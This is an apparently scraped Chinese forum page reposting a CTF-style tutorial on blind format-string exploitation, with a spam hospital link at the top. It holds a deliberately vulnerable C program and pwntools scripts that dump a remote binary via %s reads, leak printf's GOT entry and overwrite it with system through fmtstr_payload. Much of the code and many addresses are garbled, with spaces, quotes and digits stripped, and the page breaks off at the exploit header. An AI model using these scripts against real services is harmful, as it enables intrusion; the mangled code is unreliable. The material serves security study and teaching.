昆仑山

首页 » 问答 » 问答 » Blindpwn之格式化字符串
TUhjnbcbe - 2023/10/11 17:33:00
北京皮炎哪个医院好 http://pf.39.net/bdfyy/bdfhl/210611/9052592.html
可能需要提前了解的知识●格式化字符串原理利用●gotplt调用关系●程序的一般启动过程原理格式化字符串盲打指的是只给出可交互的ip地址与端口,不给出对应的binary文件来让我们无法通过IDA分析,其实这个和BROP差不多,不过BROP利用的是栈溢出,而这里我们利用的是无限格式化字符串漏洞,把在内存中的程序给dump下来。一般来说,我们按照如下步骤进行●确定程序的位数(不同位数有些许差别)●确定漏洞位置●利用使用条件●可以读入\x00字符的●输出函数均是\x00截断的●能无限使用格式化字符串漏洞32位利用手法实验环境准备程序源码如下:#includestdio.h#includestring.h#includeunistd.hintmain(intargc,char*argv[]){setbuf(stdin,0LL);setbuf(stdout,0LL);setbuf(stderr,0LL);intflag;charbuf[];FILE*f;puts(Whatsyourname?);fgets(buf,,stdin);printf(Hi,);printf(%s,buf);putchar(\n);flag=1;while(flag==1){puts(Doyouwanttheflag?);memset(buf,\0,);read(STDIN_FILENO,buf,);if(!strcmp(buf,no\n)){printf(Isee.Goodbye.);return0;}else{printf(Yourinputisntright:);printf(buf);printf(PleaseTryagain!\n);}fflush(stdout);}return0;}编译32位文件:gcc-zexecstack-fno-stack-protector-m32-oleakmemoryleakmemory.c用socat挂到端口01上部署:socatTCP4-LISTEN:01,forkEXEC:./leakmemory实验环境完成,如果是本地部署的话,等等在exp里面写remote(.0.0.1,01)模拟没有binary的远程盲打情况。确定程序的位数用%p看看程序回显输出的长度是多少,以此判断程序的位数。这里看到回显是4个字节,判断是32位程序。可以再多泄露几个,都是4字节(含)以下的,确定为32位程序。确定格式化字符串偏移找到格式化字符串的偏移是多少,在后续操作中会用到。由于没有binary不能通过调试分析偏移,就采取输入多个%p泄露出偏移。为了容易辨认,字符串开始先填充4字节的填充(64位8字节),然后再填入%p。最后确认偏移为7。dump程序dump程序应该选哪个格式化字符串:%n$s:将第n个参数的值作为地址,输出这个地址指向的字符串内容%n$p:将第n个参数的值作为内容,以十六进制形式输出我们是需要dump程序,也就是想获取我们所给定地址的内容,而不是获取我们给定的地址。所以应该用**%ns把我们给定地址当作指针,输出给定地址所指向的字符串。结合前面知道格式化字符串偏移为7,payload应该为:‘‘s.TMP[addr]``。注意:使用%s进行输出并不是一个字节一个字节输出,而是一直输出直到遇到\x00截止符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空。因为.text段很可能有连续\x00,所以泄露脚本处理情况有:针对每次泄露长度不等,addr根据每次泄露长度动态增加;泄露字符串可能为空,也就是如何处理\x00;除此之外,还有一个问题是泄露的起始地址在哪里?从各个大佬文章学到两种做法:从.text段开始;从程序加载地方开始;两种方法泄露出来程序,在ida中呈现有差别。从程序加载地方开始先来说省事的,从程序加载地方开始。程序加载地方32位和64位各不相同:32位:从0x开始泄露64位:从0x开始泄露下面是这条例题的泄露脚本,结合注解分析如何处理上面提到的问题:#!/usr/bin/envpython#-*-coding:utf-8-*-frompwnimport*importbinasciir=remote(.0.0.1,01)defleak(addr):payload=%9$s.TMP+p32(addr)r.sendline(payload)printleaking:,hex(addr)r.recvuntil(right:)ret=r.recvuntil(.TMP,drop=True)printret:,binascii.hexlify(ret),len(ret)remain=r.recvrepeat(0.2)returnret#namer.recv()r.sendline(nameaaa)r.recv()#leakbegin=0xtext_seg=try:whileTrue:ret=leak(begin)text_seg+=retbegin+=len(ret)iflen(ret)==0:#nilbegin+=1text_seg+=\x00exceptExceptionase:printefinally:print[+],len(text_seg)withopen(dump_bin,wb)asf:f.write(text_seg)注解:●19-21行:处理无关泄露的程序流程后,进入格式化字符串漏洞输入状态●24行:32位系统加载地址●9行:%9$s.TMP中的.TMP既是填充对齐,也是分隔符,方便后面处理数据●14行:使用binascii将泄漏出来字符串每一个都从ascii转换为十六进制,方便显示●15行:r.recvrepeat(0.2)接受返回的垃圾数据,方便下一轮的输入●30行:泄漏地址动态增加,假如泄漏1字节就增加1;泄漏3字节就增加3●31-33行:处理泄漏长度为0,也就是数据是\x00的情况。地址增加1,程序数据加\x00运行之后,耐心等待泄漏完成。泄漏出来的程序是不能运行的,但可以在ida进过处理可以进行分析、找plt、got.plt等。将泄漏出来的程序,放入ida,启动时选择以binaryfile加载,勾选Loadascodesegment,并**调整偏移为:0x**(开始泄露的地址):可以通过shift+F12查字符串定位到main函数,然后直接F5反编译:基本结构已经出来了,盲打没有源代码,就需要根据传入参数去判断哪个sub_xxx是哪个函数了。比如输出格式化字符串的sub_就是printf。从.text段开始程序启动过程:从_start函数开始就是.text段,可以在ida中打开一个正常的binary观察text段开头第一个函数就是_stat:(图为32位程序)先用%p泄露出栈上数据,找到两个相同地址,而且这个地址很靠近程序加载初地址(32位:0x;64位:0x)。脚本如下:frompwnimport*importsysp=remote(.0.0.1,01)p.recv()p.sendline(nameaaa)p.recv()defwhere_is_start(ret_index=null):return_addr=0foriinrange():payload=%%%d$p.TMP%(i)p.sendline(payload)p.recvuntil(right:)val=p.recvuntil(.TMP)log.info(str(i*4)++val.strip().ljust(10))if(i*4==ret_index):return_addr=int(val.strip(.TMP).ljust(10)[2:],16)returnreturn_addrp.recvrepeat(0.2)start_addr=where_is_start()最后在偏移和找到text段地址0x,可以对比上图,上图是这条例题的截图:泄露脚本和前面一样只需要修改一下起始  0xaff  0x  0xe  0xffffffb00x指向是一条跳转got.plt指令,我们需要其中跳转的目标地址。\xff\x25就是跳转指令的字节码,我们就要先接收2字节垃圾数据,然后再接收4字节的got.plt地址。泄露printf函数的地址构造方法同上,但不需要接收2字节垃圾数据:payload=%9$sskye+p32(printf_got_plt)p.sendline(payload)p.recvuntil(right:)printf_got=u32(p.recv(4))泄露libc基址system地址题目没有给出libc。从泄露出来的printf

got去libcdatabase查询其他函数偏移。printf:0xsystem:0xada0任意写修改printf

got.pltpayload=fmtstr_payload(7,{printf_got_plt:system_addr})p.sendline(payload)exp#!/usr/bin/envpython#-*-coding:utf-8-*-#

Author:MrSkYe#

Email:skye

foxmail.
1
查看完整版本: Blindpwn之格式化字符串